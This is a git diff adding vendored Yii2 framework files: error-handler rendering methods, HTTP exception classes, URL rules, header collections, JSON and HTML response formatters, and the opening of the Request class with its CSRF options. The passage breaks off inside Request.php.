element. + * @param string|null $file name where call has happened. + * @param integer|null $line number on which call has happened. + * @param string|null $class called class name. + * @param string|null $method called function/method name. + * @param integer $index number of the call stack element. + * @param array $args array of method arguments. + * @return string HTML content of the rendered call stack element. + */ + public function renderCallStackItem($file, $line, $class, $method, $args, $index) + { + $lines = []; + $begin = $end = 0; + if ($file !== null && $line !== null) { + $line--; // adjust line number from one-based to zero-based + $lines = @file($file); + if ($line < 0 || $lines === false || ($lineCount = count($lines)) < $line + 1) { + return ''; + } + + $half = (int) (($index == 1 ? $this->maxSourceLines : $this->maxTraceSourceLines) / 2); + $begin = $line - $half > 0 ? $line - $half : 0; + $end = $line + $half < $lineCount ? $line + $half : $lineCount - 1; + } + + return $this->renderFile($this->callStackItemView, [ + 'file' => $file, + 'line' => $line, + 'class' => $class, + 'method' => $method, + 'index' => $index, + 'lines' => $lines, + 'begin' => $begin, + 'end' => $end, + 'args' => $args, + ]); + } + + /** + * Renders the request information. + * @return string the rendering result + */ + public function renderRequest() + { + $request = ''; + foreach (['_GET', '_POST', '_SERVER', '_FILES', '_COOKIE', '_SESSION', '_ENV'] as $name) { + if (!empty($GLOBALS[$name])) { + $request .= '$' . $name . ' = ' . VarDumper::export($GLOBALS[$name]) . ";\n\n"; + } + } + + return '
              ' . rtrim($request, "\n") . '
              '; + } + + /** + * Determines whether given name of the file belongs to the framework. + * @param string $file name to be checked. + * @return boolean whether given name of the file belongs to the framework. + */ + public function isCoreFile($file) + { + return $file === null || strpos(realpath($file), YII2_PATH . DIRECTORY_SEPARATOR) === 0; + } + + /** + * Creates HTML containing link to the page with the information on given HTTP status code. + * @param integer $statusCode to be used to generate information link. + * @param string $statusDescription Description to display after the the status code. + * @return string generated HTML with HTTP status code information. + */ + public function createHttpStatusLink($statusCode, $statusDescription) + { + return 'HTTP ' . (int) $statusCode . ' – ' . $statusDescription . ''; + } + + /** + * Creates string containing HTML link which refers to the home page of determined web-server software + * and its full name. + * @return string server software information hyperlink. + */ + public function createServerInformationLink() + { + $serverUrls = [ + 'http://httpd.apache.org/' => ['apache'], + 'http://nginx.org/' => ['nginx'], + 'http://lighttpd.net/' => ['lighttpd'], + 'http://gwan.com/' => ['g-wan', 'gwan'], + 'http://iis.net/' => ['iis', 'services'], + 'http://php.net/manual/en/features.commandline.webserver.php' => ['development'], + ]; + if (isset($_SERVER['SERVER_SOFTWARE'])) { + foreach ($serverUrls as $url => $keywords) { + foreach ($keywords as $keyword) { + if (stripos($_SERVER['SERVER_SOFTWARE'], $keyword) !== false) { + return '' . $this->htmlEncode($_SERVER['SERVER_SOFTWARE']) . ''; + } + } + } + } + + return ''; + } + + /** + * Creates string containing HTML link which refers to the page with the current version + * of the framework and version number text. + * @return string framework version information hyperlink. + */ + public function createFrameworkVersionLink() + { + return '' . $this->htmlEncode(Yii::getVersion()) . ''; + } + + /** + * Converts arguments array to its string representation + * + * @param array $args arguments array to be converted + * @return string string representation of the arguments array + */ + public function argumentsToString($args) + { + $count = 0; + $isAssoc = $args !== array_values($args); + + foreach ($args as $key => $value) { + $count++; + if($count>=5) { + if($count>5) { + unset($args[$key]); + } else { + $args[$key] = '...'; + } + continue; + } + + if (is_object($value)) { + $args[$key] = '' . $this->htmlEncode(get_class($value)) . ''; + } elseif (is_bool($value)) { + $args[$key] = '' . ($value ? 'true' : 'false') . ''; + } elseif (is_string($value)) { + $fullValue = $this->htmlEncode($value); + if (mb_strlen($value, 'utf8') > 32) { + $displayValue = $this->htmlEncode(mb_substr($value, 0, 32, 'utf8')) . '...'; + $args[$key] = "'$displayValue'"; + } else { + $args[$key] = "'$fullValue'"; + } + } elseif (is_array($value)) { + $args[$key] = '[' . $this->argumentsToString($value) . ']'; + } elseif ($value === null) { + $args[$key] = 'null'; + } elseif(is_resource($value)) { + $args[$key] = 'resource'; + } else { + $args[$key] = '' . $value . ''; + } + + if (is_string($key)) { + $args[$key] = '\'' . $this->htmlEncode($key) . "' => $args[$key]"; + } elseif ($isAssoc) { + $args[$key] = "$key => $args[$key]"; + } + } + $out = implode(", ", $args); + + return $out; + } + + /** + * Returns human-readable exception name + * @param \Exception $exception + * @return string human-readable exception name or null if it cannot be determined + */ + public function getExceptionName($exception) + { + if ($exception instanceof \yii\base\Exception || $exception instanceof \yii\base\InvalidCallException || $exception instanceof \yii\base\InvalidParamException || $exception instanceof \yii\base\UnknownMethodException) { + return $exception->getName(); + } + return null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ForbiddenHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ForbiddenHttpException.php new file mode 100644 index 00000000..378feb7a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ForbiddenHttpException.php @@ -0,0 +1,35 @@ + + * @since 2.0 + */ +class ForbiddenHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(403, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/GoneHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/GoneHttpException.php new file mode 100644 index 00000000..fa382b7c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/GoneHttpException.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +class GoneHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(410, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/GroupUrlRule.php b/php/yii2/basic/vendor/yiisoft/yii2/web/GroupUrlRule.php new file mode 100644 index 00000000..3395d534 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/GroupUrlRule.php @@ -0,0 +1,138 @@ + 'admin', + * 'rules' => [ + * 'login' => 'user/login', + * 'logout' => 'user/logout', + * 'dashboard' => 'default/dashboard', + * ], + * ]); + * + * // the above rule is equivalent to the following three rules: + * + * [ + * 'admin/login' => 'admin/user/login', + * 'admin/logout' => 'admin/user/logout', + * 'admin/dashboard' => 'admin/default/dashboard', + * ] + * ``` + * + * The above example assumes the prefix for patterns and routes are the same. They can be made different + * by configuring [[prefix]] and [[routePrefix]] separately. + * + * Using a GroupUrlRule is more efficient than directly declaring the individual rules it contains. + * This is because GroupUrlRule can quickly determine if it should process a URL parsing or creation request + * by simply checking if the prefix matches. + * + * @author Qiang Xue + * @since 2.0 + */ +class GroupUrlRule extends CompositeUrlRule +{ + /** + * @var array the rules contained within this composite rule. Please refer to [[UrlManager::rules]] + * for the format of this property. + * @see prefix + * @see routePrefix + */ + public $rules = []; + /** + * @var string the prefix for the pattern part of every rule declared in [[rules]]. + * The prefix and the pattern will be separated with a slash. + */ + public $prefix; + /** + * @var string the prefix for the route part of every rule declared in [[rules]]. + * The prefix and the route will be separated with a slash. + * If this property is not set, it will take the value of [[prefix]]. + */ + public $routePrefix; + /** + * @var array the default configuration of URL rules. Individual rule configurations + * specified via [[rules]] will take precedence when the same property of the rule is configured. + */ + public $ruleConfig = ['class' => 'yii\web\UrlRule']; + + + /** + * @inheritdoc + */ + public function init() + { + if ($this->routePrefix === null) { + $this->routePrefix = $this->prefix; + } + $this->prefix = trim($this->prefix, '/'); + $this->routePrefix = trim($this->routePrefix, '/'); + parent::init(); + } + + /** + * @inheritdoc + */ + protected function createRules() + { + $rules = []; + foreach ($this->rules as $key => $rule) { + if (!is_array($rule)) { + $rule = [ + 'pattern' => ltrim($this->prefix . '/' . $key, '/'), + 'route' => ltrim($this->routePrefix . '/' . $rule, '/'), + ]; + } elseif (isset($rule['pattern'], $rule['route'])) { + $rule['pattern'] = ltrim($this->prefix . '/' . $rule['pattern'], '/'); + $rule['route'] = ltrim($this->routePrefix . '/' . $rule['route'], '/'); + } + + $rule = Yii::createObject(array_merge($this->ruleConfig, $rule)); + if (!$rule instanceof UrlRuleInterface) { + throw new InvalidConfigException('URL rule class must implement UrlRuleInterface.'); + } + $rules[] = $rule; + } + return $rules; + } + + /** + * @inheritdoc + */ + public function parseRequest($manager, $request) + { + $pathInfo = $request->getPathInfo(); + if ($this->prefix === '' || strpos($pathInfo . '/', $this->prefix . '/') === 0) { + return parent::parseRequest($manager, $request); + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function createUrl($manager, $route, $params) + { + if ($this->routePrefix === '' || strpos($route, $this->routePrefix . '/') === 0) { + return parent::createUrl($manager, $route, $params); + } else { + return false; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/HeaderCollection.php b/php/yii2/basic/vendor/yiisoft/yii2/web/HeaderCollection.php new file mode 100644 index 00000000..39a22b3d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/HeaderCollection.php @@ -0,0 +1,226 @@ + + * @since 2.0 + */ +class HeaderCollection extends Object implements \IteratorAggregate, \ArrayAccess, \Countable +{ + /** + * @var array the headers in this collection (indexed by the header names) + */ + private $_headers = []; + + + /** + * Returns an iterator for traversing the headers in the collection. + * This method is required by the SPL interface `IteratorAggregate`. + * It will be implicitly called when you use `foreach` to traverse the collection. + * @return ArrayIterator an iterator for traversing the headers in the collection. + */ + public function getIterator() + { + return new ArrayIterator($this->_headers); + } + + /** + * Returns the number of headers in the collection. + * This method is required by the SPL `Countable` interface. + * It will be implicitly called when you use `count($collection)`. + * @return integer the number of headers in the collection. + */ + public function count() + { + return $this->getCount(); + } + + /** + * Returns the number of headers in the collection. + * @return integer the number of headers in the collection. + */ + public function getCount() + { + return count($this->_headers); + } + + /** + * Returns the named header(s). + * @param string $name the name of the header to return + * @param mixed $default the value to return in case the named header does not exist + * @param boolean $first whether to only return the first header of the specified name. + * If false, all headers of the specified name will be returned. + * @return string|array the named header(s). If `$first` is true, a string will be returned; + * If `$first` is false, an array will be returned. + */ + public function get($name, $default = null, $first = true) + { + $name = strtolower($name); + if (isset($this->_headers[$name])) { + return $first ? reset($this->_headers[$name]) : $this->_headers[$name]; + } else { + return $default; + } + } + + /** + * Adds a new header. + * If there is already a header with the same name, it will be replaced. + * @param string $name the name of the header + * @param string $value the value of the header + * @return static the collection object itself + */ + public function set($name, $value = '') + { + $name = strtolower($name); + $this->_headers[$name] = (array) $value; + + return $this; + } + + /** + * Adds a new header. + * If there is already a header with the same name, the new one will + * be appended to it instead of replacing it. + * @param string $name the name of the header + * @param string $value the value of the header + * @return static the collection object itself + */ + public function add($name, $value) + { + $name = strtolower($name); + $this->_headers[$name][] = $value; + + return $this; + } + + /** + * Sets a new header only if it does not exist yet. + * If there is already a header with the same name, the new one will be ignored. + * @param string $name the name of the header + * @param string $value the value of the header + * @return static the collection object itself + */ + public function setDefault($name, $value) + { + $name = strtolower($name); + if (empty($this->_headers[$name])) { + $this->_headers[$name][] = $value; + } + + return $this; + } + + /** + * Returns a value indicating whether the named header exists. + * @param string $name the name of the header + * @return boolean whether the named header exists + */ + public function has($name) + { + $name = strtolower($name); + + return isset($this->_headers[$name]); + } + + /** + * Removes a header. + * @param string $name the name of the header to be removed. + * @return array the value of the removed header. Null is returned if the header does not exist. + */ + public function remove($name) + { + $name = strtolower($name); + if (isset($this->_headers[$name])) { + $value = $this->_headers[$name]; + unset($this->_headers[$name]); + return $value; + } else { + return null; + } + } + + /** + * Removes all headers. + */ + public function removeAll() + { + $this->_headers = []; + } + + /** + * Returns the collection as a PHP array. + * @return array the array representation of the collection. + * The array keys are header names, and the array values are the corresponding header values. + */ + public function toArray() + { + return $this->_headers; + } + + /** + * Returns whether there is a header with the specified name. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `isset($collection[$name])`. + * @param string $name the header name + * @return boolean whether the named header exists + */ + public function offsetExists($name) + { + return $this->has($name); + } + + /** + * Returns the header with the specified name. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$header = $collection[$name];`. + * This is equivalent to [[get()]]. + * @param string $name the header name + * @return string the header value with the specified name, null if the named header does not exist. + */ + public function offsetGet($name) + { + return $this->get($name); + } + + /** + * Adds the header to the collection. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$collection[$name] = $header;`. + * This is equivalent to [[add()]]. + * @param string $name the header name + * @param string $value the header value to be added + */ + public function offsetSet($name, $value) + { + $this->set($name, $value); + } + + /** + * Removes the named header. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `unset($collection[$name])`. + * This is equivalent to [[remove()]]. + * @param string $name the header name + */ + public function offsetUnset($name) + { + $this->remove($name); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/HtmlResponseFormatter.php b/php/yii2/basic/vendor/yiisoft/yii2/web/HtmlResponseFormatter.php new file mode 100644 index 00000000..8bc2eaf5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/HtmlResponseFormatter.php @@ -0,0 +1,40 @@ + + * @since 2.0 + */ +class HtmlResponseFormatter extends Component implements ResponseFormatterInterface +{ + /** + * @var string the Content-Type header for the response + */ + public $contentType = 'text/html'; + + + /** + * Formats the specified response. + * @param Response $response the response to be formatted. + */ + public function format($response) + { + if (stripos($this->contentType, 'charset') === false) { + $this->contentType .= '; charset=' . $response->charset; + } + $response->getHeaders()->set('Content-Type', $this->contentType); + $response->content = $response->data; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/HttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/HttpException.php new file mode 100644 index 00000000..f8b73cb0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/HttpException.php @@ -0,0 +1,62 @@ + + * @since 2.0 + */ +class HttpException extends UserException +{ + /** + * @var integer HTTP status code, such as 403, 404, 500, etc. + */ + public $statusCode; + + + /** + * Constructor. + * @param integer $status HTTP status code, such as 404, 500, etc. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($status, $message = null, $code = 0, \Exception $previous = null) + { + $this->statusCode = $status; + parent::__construct($message, $code, $previous); + } + + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + if (isset(Response::$httpStatuses[$this->statusCode])) { + return Response::$httpStatuses[$this->statusCode]; + } else { + return 'Error'; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/IdentityInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/web/IdentityInterface.php new file mode 100644 index 00000000..eab79086 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/IdentityInterface.php @@ -0,0 +1,96 @@ + $token]); + * } + * + * public function getId() + * { + * return $this->id; + * } + * + * public function getAuthKey() + * { + * return $this->authKey; + * } + * + * public function validateAuthKey($authKey) + * { + * return $this->authKey === $authKey; + * } + * } + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +interface IdentityInterface +{ + /** + * Finds an identity by the given ID. + * @param string|integer $id the ID to be looked for + * @return IdentityInterface the identity object that matches the given ID. + * Null should be returned if such an identity cannot be found + * or the identity is not in an active state (disabled, deleted, etc.) + */ + public static function findIdentity($id); + /** + * Finds an identity by the given token. + * @param mixed $token the token to be looked for + * @param mixed $type the type of the token. The value of this parameter depends on the implementation. + * For example, [[\yii\filters\auth\HttpBearerAuth]] will set this parameter to be `yii\filters\auth\HttpBearerAuth`. + * @return IdentityInterface the identity object that matches the given token. + * Null should be returned if such an identity cannot be found + * or the identity is not in an active state (disabled, deleted, etc.) + */ + public static function findIdentityByAccessToken($token, $type = null); + /** + * Returns an ID that can uniquely identify a user identity. + * @return string|integer an ID that uniquely identifies a user identity. + */ + public function getId(); + /** + * Returns a key that can be used to check the validity of a given identity ID. + * + * The key should be unique for each individual user, and should be persistent + * so that it can be used to check the validity of the user identity. + * + * The space of such keys should be big enough to defeat potential identity attacks. + * + * This is required if [[User::enableAutoLogin]] is enabled. + * @return string a key that is used to check the validity of a given identity ID. + * @see validateAuthKey() + */ + public function getAuthKey(); + /** + * Validates the given auth key. + * + * This is required if [[User::enableAutoLogin]] is enabled. + * @param string $authKey the given auth key + * @return boolean whether the given auth key is valid. + * @see getAuthKey() + */ + public function validateAuthKey($authKey); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/JqueryAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/web/JqueryAsset.php new file mode 100644 index 00000000..75e51079 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/JqueryAsset.php @@ -0,0 +1,22 @@ + + * @since 2.0 + */ +class JqueryAsset extends AssetBundle +{ + public $sourcePath = '@bower/jquery/dist'; + public $js = [ + 'jquery.js', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/JsExpression.php b/php/yii2/basic/vendor/yiisoft/yii2/web/JsExpression.php new file mode 100644 index 00000000..088e752f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/JsExpression.php @@ -0,0 +1,48 @@ + + * @since 2.0 + */ +class JsExpression extends Object +{ + /** + * @var string the JavaScript expression represented by this object + */ + public $expression; + + + /** + * Constructor. + * @param string $expression the JavaScript expression represented by this object + * @param array $config additional configurations for this object + */ + public function __construct($expression, $config = []) + { + $this->expression = $expression; + parent::__construct($config); + } + + /** + * The PHP magic function converting an object into a string. + * @return string the JavaScript expression. + */ + public function __toString() + { + return $this->expression; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/JsonParser.php b/php/yii2/basic/vendor/yiisoft/yii2/web/JsonParser.php new file mode 100644 index 00000000..8daa4f67 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/JsonParser.php @@ -0,0 +1,60 @@ + [ + * 'parsers' => [ + * 'application/json' => 'yii\web\JsonParser', + * ] + * ] + * ``` + * + * @author Dan Schmidt + * @since 2.0 + */ +class JsonParser implements RequestParserInterface +{ + /** + * @var boolean whether to return objects in terms of associative arrays. + */ + public $asArray = true; + /** + * @var boolean whether to throw a [[BadRequestHttpException]] if the body is invalid json + */ + public $throwException = true; + + + /** + * Parses a HTTP request body. + * @param string $rawBody the raw HTTP request body. + * @param string $contentType the content type specified for the request body. + * @return array parameters parsed from the request body + * @throws BadRequestHttpException if the body contains invalid json and [[throwException]] is `true`. + */ + public function parse($rawBody, $contentType) + { + try { + return Json::decode($rawBody, $this->asArray); + } catch (InvalidParamException $e) { + if ($this->throwException) { + throw new BadRequestHttpException('Invalid JSON data in request body: ' . $e->getMessage(), 0, $e); + } + + return null; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/JsonResponseFormatter.php b/php/yii2/basic/vendor/yiisoft/yii2/web/JsonResponseFormatter.php new file mode 100644 index 00000000..fececc11 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/JsonResponseFormatter.php @@ -0,0 +1,69 @@ + + * @since 2.0 + */ +class JsonResponseFormatter extends Component implements ResponseFormatterInterface +{ + /** + * @var boolean whether to use JSONP response format. When this is true, the [[Response::data|response data]] + * must be an array consisting of `data` and `callback` members. The latter should be a JavaScript + * function name while the former will be passed to this function as a parameter. + */ + public $useJsonp = false; + + + /** + * Formats the specified response. + * @param Response $response the response to be formatted. + */ + public function format($response) + { + if ($this->useJsonp) { + $this->formatJsonp($response); + } else { + $this->formatJson($response); + } + } + + /** + * Formats response data in JSON format. + * @param Response $response + */ + protected function formatJson($response) + { + $response->getHeaders()->set('Content-Type', 'application/json; charset=UTF-8'); + $response->content = Json::encode($response->data); + } + + /** + * Formats response data in JSONP format. + * @param Response $response + */ + protected function formatJsonp($response) + { + $response->getHeaders()->set('Content-Type', 'application/javascript; charset=UTF-8'); + if (is_array($response->data) && isset($response->data['data'], $response->data['callback'])) { + $response->content = sprintf('%s(%s);', $response->data['callback'], Json::encode($response->data['data'])); + } else { + $response->content = ''; + Yii::warning("The 'jsonp' response requires that the data be an array consisting of both 'data' and 'callback' elements.", __METHOD__); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Link.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Link.php new file mode 100644 index 00000000..0403f046 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Link.php @@ -0,0 +1,76 @@ + + * @since 2.0 + */ +class Link extends Object +{ + /** + * The self link. + */ + const REL_SELF = 'self'; + + /** + * @var string a URI [RFC3986](https://tools.ietf.org/html/rfc3986) or + * URI template [RFC6570](https://tools.ietf.org/html/rfc6570). This property is required. + */ + public $href; + /** + * @var string a secondary key for selecting Link Objects which share the same relation type + */ + public $name; + /** + * @var string a hint to indicate the media type expected when dereferencing the target resource + */ + public $type; + /** + * @var boolean a value indicating whether [[href]] refers to a URI or URI template. + */ + public $templated = false; + /** + * @var string a URI that hints about the profile of the target resource. + */ + public $profile; + /** + * @var string a label describing the link + */ + public $title; + /** + * @var string the language of the target resource + */ + public $hreflang; + + + /** + * Serializes a list of links into proper array format. + * @param array $links the links to be serialized + * @return array the proper array representation of the links. + */ + public static function serialize(array $links) + { + foreach ($links as $rel => $link) { + if (is_array($link)) { + foreach ($link as $i => $l) { + $link[$i] = $l instanceof self ? array_filter((array) $l) : ['href' => $l]; + } + $links[$rel] = $link; + } elseif (!$link instanceof self) { + $links[$rel] = ['href' => $link]; + } + } + + return $links; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Linkable.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Linkable.php new file mode 100644 index 00000000..faa82cfa --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Linkable.php @@ -0,0 +1,42 @@ + + * @since 2.0 + */ +interface Linkable +{ + /** + * Returns a list of links. + * + * Each link is either a URI or a [[Link]] object. The return value of this method should + * be an array whose keys are the relation names and values the corresponding links. + * + * If a relation name corresponds to multiple links, use an array to represent them. + * + * For example, + * + * ```php + * [ + * 'self' => 'http://example.com/users/1', + * 'friends' => [ + * 'http://example.com/users/2', + * 'http://example.com/users/3', + * ], + * 'manager' => $managerLink, // $managerLink is a Link object + * ] + * ``` + * + * @return array the links + */ + public function getLinks(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/MethodNotAllowedHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/MethodNotAllowedHttpException.php new file mode 100644 index 00000000..133770d2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/MethodNotAllowedHttpException.php @@ -0,0 +1,28 @@ + + * @since 2.0 + */ +class MethodNotAllowedHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(405, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/NotAcceptableHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/NotAcceptableHttpException.php new file mode 100644 index 00000000..fb66823b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/NotAcceptableHttpException.php @@ -0,0 +1,33 @@ + + * @since 2.0 + */ +class NotAcceptableHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(406, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/NotFoundHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/NotFoundHttpException.php new file mode 100644 index 00000000..b4201c10 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/NotFoundHttpException.php @@ -0,0 +1,28 @@ + + * @since 2.0 + */ +class NotFoundHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(404, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Request.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Request.php new file mode 100644 index 00000000..99512242 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Request.php @@ -0,0 +1,1379 @@ +request`. + * + * @property string $absoluteUrl The currently requested absolute URL. This property is read-only. + * @property array $acceptableContentTypes The content types ordered by the quality score. Types with the + * highest scores will be returned first. The array keys are the content types, while the array values are the + * corresponding quality score and other parameters as given in the header. + * @property array $acceptableLanguages The languages ordered by the preference level. The first element + * represents the most preferred language. + * @property string $authPassword The password sent via HTTP authentication, null if the password is not + * given. This property is read-only. + * @property string $authUser The username sent via HTTP authentication, null if the username is not given. + * This property is read-only. + * @property string $baseUrl The relative URL for the application. + * @property array $bodyParams The request parameters given in the request body. + * @property string $contentType Request content-type. Null is returned if this information is not available. + * This property is read-only. + * @property CookieCollection $cookies The cookie collection. This property is read-only. + * @property string $csrfToken The token used to perform CSRF validation. This property is read-only. + * @property string $csrfTokenFromHeader The CSRF token sent via [[CSRF_HEADER]] by browser. Null is returned + * if no such header is sent. This property is read-only. + * @property array $eTags The entity tags. This property is read-only. + * @property HeaderCollection $headers The header collection. This property is read-only. + * @property string $hostInfo Schema and hostname part (with port number if needed) of the request URL (e.g. + * `http://www.yiiframework.com`). + * @property boolean $isAjax Whether this is an AJAX (XMLHttpRequest) request. This property is read-only. + * @property boolean $isDelete Whether this is a DELETE request. This property is read-only. + * @property boolean $isFlash Whether this is an Adobe Flash or Adobe Flex request. This property is + * read-only. + * @property boolean $isGet Whether this is a GET request. This property is read-only. + * @property boolean $isHead Whether this is a HEAD request. This property is read-only. + * @property boolean $isOptions Whether this is a OPTIONS request. This property is read-only. + * @property boolean $isPatch Whether this is a PATCH request. This property is read-only. + * @property boolean $isPjax Whether this is a PJAX request. This property is read-only. + * @property boolean $isPost Whether this is a POST request. This property is read-only. + * @property boolean $isPut Whether this is a PUT request. This property is read-only. + * @property boolean $isSecureConnection If the request is sent via secure channel (https). This property is + * read-only. + * @property string $method Request method, such as GET, POST, HEAD, PUT, PATCH, DELETE. The value returned is + * turned into upper case. This property is read-only. + * @property string $pathInfo Part of the request URL that is after the entry script and before the question + * mark. Note, the returned path info is already URL-decoded. + * @property integer $port Port number for insecure requests. + * @property array $queryParams The request GET parameter values. + * @property string $queryString Part of the request URL that is after the question mark. This property is + * read-only. + * @property string $rawBody The request body. This property is read-only. + * @property string $referrer URL referrer, null if not present. This property is read-only. + * @property string $scriptFile The entry script file path. + * @property string $scriptUrl The relative URL of the entry script. + * @property integer $securePort Port number for secure requests. + * @property string $serverName Server name. This property is read-only. + * @property integer $serverPort Server port number. This property is read-only. + * @property string $url The currently requested relative URL. Note that the URI returned is URL-encoded. + * @property string $userAgent User agent, null if not present. This property is read-only. + * @property string $userHost User host name, null if cannot be determined. This property is read-only. + * @property string $userIP User IP address. Null is returned if the user IP address cannot be detected. This + * property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Request extends \yii\base\Request +{ + /** + * The name of the HTTP header for sending CSRF token. + */ + const CSRF_HEADER = 'X-CSRF-Token'; + /** + * The length of the CSRF token mask. + */ + const CSRF_MASK_LENGTH = 8; + + /** + * @var boolean whether to enable CSRF (Cross-Site Request Forgery) validation. Defaults to true. + * When CSRF validation is enabled, forms submitted to an Yii Web application must be originated + * from the same application. If not, a 400 HTTP exception will be raised. + * + * Note, this feature requires that the user client accepts cookie. Also, to use this feature, + * forms submitted via POST method must contain a hidden input whose name is specified by [[csrfParam]]. + * You may use [[\yii\helpers\Html::beginForm()]] to generate his hidden input. + * + * In JavaScript, you may get the values of [[csrfParam]] and [[csrfToken]] via `yii.getCsrfParam()` and + * `yii.getCsrfToken()`, respectively. The [[\yii\web\YiiAsset]] asset must be registered. + * You also need to include CSRF meta tags in your pages by using [[\yii\helpers\Html::csrfMetaTags()]]. + * + * @see Controller::enableCsrfValidation + * @see http://en.wikipedia.org/wiki/Cross-site_request_forgery + */ + public $enableCsrfValidation = true; + /** + * @var string the name of the token used to prevent CSRF. Defaults to '_csrf'. + * This property is used only when [[enableCsrfValidation]] is true. + */ + public $csrfParam = '_csrf'; + /** + * @var array the configuration for creating the CSRF [[Cookie|cookie]]. This property is used only when + * both [[enableCsrfValidation]] and [[enableCsrfCookie]] are true. + */ + public $csrfCookie = ['httpOnly' => true]; + /** + * @var boolean whether to use cookie to persist CSRF token. If false, CSRF token will be stored + * in session under the name of [[csrfParam]]. Note that while storing CSRF tokens in session increases + * security, it requires starting a session for every page, which will degrade your site performance. + */ + public $enableCsrfCookie = true; + /** + * @var boolean whether cookies should be validated to ensure they are not tampered. Defaults to true. + */ + public $enableCookieValidation = true; + /** + * @var string a secret key used for cookie validation. This property must be set if [[enableCookieValidation]] is true. + */ + public $cookieValidationKey; + /** + * @var string the name of the POST parameter that is used to indicate if a request is a PUT, PATCH or DELETE + * request tunneled through POST. Defaults to '_method'. + * @see getMethod() + * @see getBodyParams() + */ + public $methodParam = '_method'; + /** + * @var array the parsers for converting the raw HTTP request body into [[bodyParams]]. + * The array keys are the request `Content-Types`, and the array values are the + * corresponding configurations for [[Yii::createObject|creating the parser objects]]. + * A parser must implement the [[RequestParserInterface]]. + * + * To enable parsing for JSON requests you can use the [[JsonParser]] class like in the following example: + * + * ``` + * [ + * 'application/json' => 'yii\web\JsonParser', + * ] + * ``` + * + * To register a parser for parsing all request types you can use `'*'` as the array key. + * This one will be used as a fallback in case no other types match. + * + * @see getBodyParams() + */ + public $parsers = []; + + /** + * @var CookieCollection Collection of request cookies. + */ + private $_cookies; + /** + * @var array the headers in this collection (indexed by the header names) + */ + private 